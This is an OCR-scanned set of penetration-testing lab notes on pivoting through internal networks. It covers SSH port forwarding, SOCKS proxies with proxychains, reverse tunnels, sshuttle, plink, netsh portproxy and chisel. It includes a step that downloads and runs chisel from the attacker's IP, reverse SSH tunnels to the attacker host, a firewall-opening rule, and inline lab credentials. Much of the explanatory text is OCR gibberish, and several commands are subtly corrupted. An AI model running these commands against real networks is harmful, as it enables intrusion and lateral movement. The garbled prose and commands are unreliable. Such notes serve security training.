[Tunnel] Port forwarding and
Tunneling

Port forwarding

o socat : :774s18.2 #iff
e rinetd : EEFEARPANIFOERAE - EHN R OERARRS ZRROTSEHMAHMES -
o Netcat + HREEXMH (FIFO) RAIZEHOEE - link

#1/usr/bin/env bash
# https://gist.github.com/holly/6d52dd9addd3e58b2fd5
set -e

if [ $# != 3 ]; then

echo 'Usage: nc-tcp-forward.sh $FRONTPORT $BACKHOST $BACKPORT' >&2
exit 1
fi

FRONTPORT=$1
BACKHOST=$2
BACKPORT=$3

FIFO=/tmp/backpipe
trap 'echo "trapped."; pkill nc; rm -f $FIFO; exit 1' 1 2 3 15

mkfifo $FIFO
while true; do
nc - $FRONTPORT <$FIFO | nc $BACKHOST $BACKPORT >$FIFO
done
rm -f $FIFO

o WNRFEFUES root #EMR » FFIRTIUGER iptables BIEiROEE o HHMFE EHEEY iptables InOEERBRIEIANREEE
ENERE - 27 Linux tEEHNOESEERMEEEEMNEO LAESE » SR
/proc/sys/net/ipvé4/conf/[interface]/forwarding BA "1" REIHR (WRRHKEE L) o
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# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215)

# FBRE ssh -N -L 0.0.0.0:{vm1_port}:{vm3_ip}:{vm3 port} {vm2_ user}@{vm2_ip}
# vml

ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215

# kali
kali@kali:~$ smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcomel234

BRI

182.168.50.174 192.168.50.63 | 10.4.50.63 10.4.50.215 | 172.16.50.215

kali > 9998 vmi vm2 L > 0-65535

database_admin T

172.16.50.217

vm3

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)

# vm1 EEEport forwarding
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

# kali {ECHRTERE
kali@kali:~$ vim /etc/proxychains4.conf

kali@kali:~$

# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy
without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )

#

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)
# kali smbclient
kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcomel234
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# kali namp
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

g

SSH EinFHRE

182.168.50.174 192.168.50.63 | 10.4.50.63 10.4.50.215 | 172.16.50.215

i kali
kali 2345 ——— ymi 5432 vm2

A [

I

# kali(192.168.50.174) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)
# VM1TF

python3 -c 'import pty; pty.spawn("/bin/bash")’

ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.50.174

# kali
pgql -h 127.0.0.1 -p 2345 -U postgres

SSH EhR&iRim

182.168.50.174 192.168.50.63 | 10.4.50.63 10.4.50.215 | 172.16.50.215

kali
kali 9998 «——— vym 0 ~ 65535 vm2

F Fy

# kali(192.168.50.174) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)

# VM1
python3 -c 'import pty; pty.spawn("/bin/bash")’
ssh -N -R 9998 kali@192.168.50.174

# kali
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.215

sshuttle
192.168.50.174 192.168.50.63 | 10.4.50.63 10.4.50.215 | 172.16.50.215 172.16.50.217
kali » 2222 vmi 22 vm2 —»| 0-65535 vm3
A

database_admin

#vml



socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

# kali s E&sshuttle

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
# kali $HRIRIR(E

smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

plink.exe

192.168.50.174 192.168.50.63 | 10.4.50.63 10.4.50.215 | 172.16.50.215

) Kali
kali 9833 |« vmi 3389 vm2

Yy Y

# plink.exe -ssh - {kali_nmae} -pw {passwd} -R 127.0.0.1:{kali_port}:127.0.0.1:{vm1_port} {kali_ip}
#vml
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.50.174

#kali
xfreerdp /u:rdp_admin /p:P@sswOrd! /v:127.0.0.1:9833

netsh

# B3I port forwarding

netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.210.64 connectport=22 connectaddress=10.4.210.215
# Bk port 2222 #kEE

netstat -anp TCP | find "2222"

# Tifiport forwarding

C:\Windows\system32>netsh interface portproxy show all

Listen on ipvé4: Connect to ipvé4:

Address Port Address Port

192.168.50.64 2222 10.4.50.215 22

# filewall B3R

netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222
action=allow

# MR filewall B3R

netsh advfirewall firewall delete rule name="port_forward_ssh_2222"

# MB& port forwarding

netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64

e socat : :£718.2 #iffl
e rinetd : CEFEARPANIFOESRAE - EHN IR OERRRS ZRROTSEHMAES -
o Netcat + SEEEXH (FIFO) RAIEIHOES o link

#!/usr/bin/env bash
# https://gist.github.com/holly/6d52dd9addd3e58b2fd5
set -e

if [ $# != 3 ]; then
echo 'Usage: nc-tcp-forward.sh $FRONTPORT $BACKHOST $BACKPORT' >&2
exit 1

fi

FRONTPORT=$1
BACKHOST=$2
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BACKPORT=%$3
FIFO=/tmp/backpipe
trap 'echo "trapped."; pkill nc; rm -f $FIFO; exit 1' 1 2 3 15
mkfifo $FIFO
while true; do
nc -1 $FRONTPORT <$FIFO | nc $BACKHOST $BACKPORT >$FIFO
done

rm -f $FIFO

o WMRFZLFIER root MR » HFIRTLUER iptables BIiRIHOEEE o BHMIE MR iptables RO E R BRI IR ELE
EMRE - 27 Linux tEEHNOETEERMEEERENEO LAEE > SrliEEn
/proc/sys/net/ipva/conf/[interfacel/forwarding BA "1" KRB (MRHKREEDFFHIEE) o

Http Tunneling

chisel

192.168.50.174 192.168.50.63

8080 kali
kali = =  vmi

# chisel server run
chisel server --port 8080 --reverse

# 1kali(192.168.45.224) &

wget http://192.168.45.224/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# #1T chisel client

/tmp/chisel client 192.168.45.224:8080 R:socks

# Zincat
atp install ncat

# {EMproxychain

vim /etc/proxychains4.conf
# [ProxyList]

#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080

# {EMProxyCommand #4T ncat
ssh -0 ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215
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